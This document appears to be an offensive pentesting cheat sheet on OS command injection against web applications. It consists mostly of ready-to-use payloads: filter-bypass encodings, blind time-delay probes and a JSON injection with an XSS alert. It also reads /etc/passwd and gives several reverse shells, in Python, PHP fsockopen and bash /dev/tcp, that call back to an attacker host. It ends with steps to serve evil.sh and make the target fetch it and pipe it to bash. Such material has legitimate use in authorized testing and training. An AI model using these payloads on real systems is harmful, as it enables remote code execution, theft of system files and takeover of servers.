OS Command Injection

Basic Payloads

If the payload includes whitespaces (' '), we need to change it to '+' or URL encoding (' ').

/api/cmd/whoami
/command/whoami

/?cmd=whoami
/?cmd=;id

/?cmd=ls
/?cmd=ls ..
/?cmd=ls ../
/?cmd=ls /home

/?cmd=`ping -c 1 10.0.0.1`

/?file=example.txt; echo $(ls -al /)
/?file=example.txt; echo $(ls -al /) |

<!-- PHP query string -->
/?q=;system($_GET[cmd])&cmd=whoami
/?q=${system($_GET[cmd])}&cmd=whoami

/?productId=1&stockId=1|whoami
/?productId=1&stockId=1|id

<!-- Windows -->
/?file=example.txt | systeminfo #
/?file=example.txt ; systeminfo #
/?file=example.txt') ; systeminfo #

URL Encoding

We may be able to bypass specific character filter by encoding them.

# %0A: newline
/?cmd=ls%0Aid
# %250A: newline (double encoding)
/?cmd=ls%250Aid

# %26: &
/?cmd=ls%26id
# %2526: & (double encoding)
/?cmd=ls%2526id
# &&
/?cmd=ls%26%26id
/?cmd=ls%2526%2526id

# %3B: ;
/?cmd=ls%3Bid
# %253B: ; (double encoding)
/?cmd=ls%253Bid


Bypass Whitespace Filter

Reference: https://www.ctfnote.com/web/os-command-injection/whitespace-bypass

If the website filters whitespaces and we cannot inject OS command including spaces e.g. 'sleep 5', we can insert Internal Field Separator (IFS) as whitespace.

$IFS$9

Payload Examples:

<!-- ping -c 5 10.0.0.1 -->
/?cmd=ping$IFS$9-c$IFS$9510.0.0.1


Ping

Try pinging to our local machine for checking if our command injection achieves.
To confirm the result, start tcpdump in our local machine.

# -i: Interface e.g. eth0, tun0
sudo tcpdump -i eth0 icmp

Then execute ping command in POST request.

Below are examples for POST data.

file=example.jpg&filetype=png;ping+-c+1+10.0.0.1


Reverse Shell

file=example.jpg&filetype=png;export RHOST="10.0.0.1";export RPORT=4444;python3 -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'

PHP Reverse Shell

Reference: https://book.hacktricks.xyz/pentesting-web/command-injection#examples

# 1. Download PHP payload
wget https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php -O shell.php

# 2. Edit `ip` and `port` values.
vim shell.php

# 3. Send payload & get shell (run `nc -lvnp <port>` in another terminal before doing this)
/?cmd=ls%0Awget+http://10.0.0.1/shell.php+-O+/tmp/shell.php%0Aphp+/tmp/shell.php


Blind Command Injection (Time Delay)

Use "ping" command to check if the website will be loaded with time delay.

name=michael&email=michael@example.com||ping+-c+10+127.0.0.1||&message=hello
email=test@test.com;ping+-c+15+127.0.0.1+#&message=hello

If we find the command can be executed, we can execute the other commands as below.

email=test@test.com;cp+/etc/passwd+./+#&message=hello


JSON Injection

{ "username": "\"; pwd \"" }
{"email": "\";ping -c 1 10.0.0.1\""}

{"name":"<script>alert(1)</script>", "email":"victim@vulnerable.com"}

{"name": "admin", "content": "{{template: ./admin.php}}"}


PHP Injection

id=$(php -r '$sock=fsockopen("10.0.0.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");')

# URL encode
id=1$(php -r '$sock=fsockopen(%2210.0.0.1%22,4444);exec(%22/bin/sh -i %3C&3 %3E&3 2%3E&3%22);')
id=1$(php -r %27%24sock%3Dfsockopen%28%2210.0.0.1%22%2C4444%29%3Bexec%28%22%2Fbin%2Fsh -i %3C%263 %3E%263 2%3E%263%22%29%3B%27)
id=1`php -r %27%24sock%3Dfsockopen%28%2210.0.0.1%22%2C4444%29%3Bexec%28%22%2Fbin%2Fsh -i %3C%263 %3E%263 2%3E%263%22%29%3B%27`


Indirect Payloads with Shell Script

If we cannot inject command directly as above, try injecting from files.

Create a shell script. The filename here is evil.sh`.

#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'

Host this file by starting web server in the directory where the evil.sh exists.

sudo python3 -m http.server 80

In target website, inject command to let target server download the shell script and execute it. Before that, we need to start listerner by nc -lvnp 4444 in another terminal in local machine. Here is the example.

/?cmd=ls;wget+http://10.0.0.1/evil.sh|bash

We might get a shell.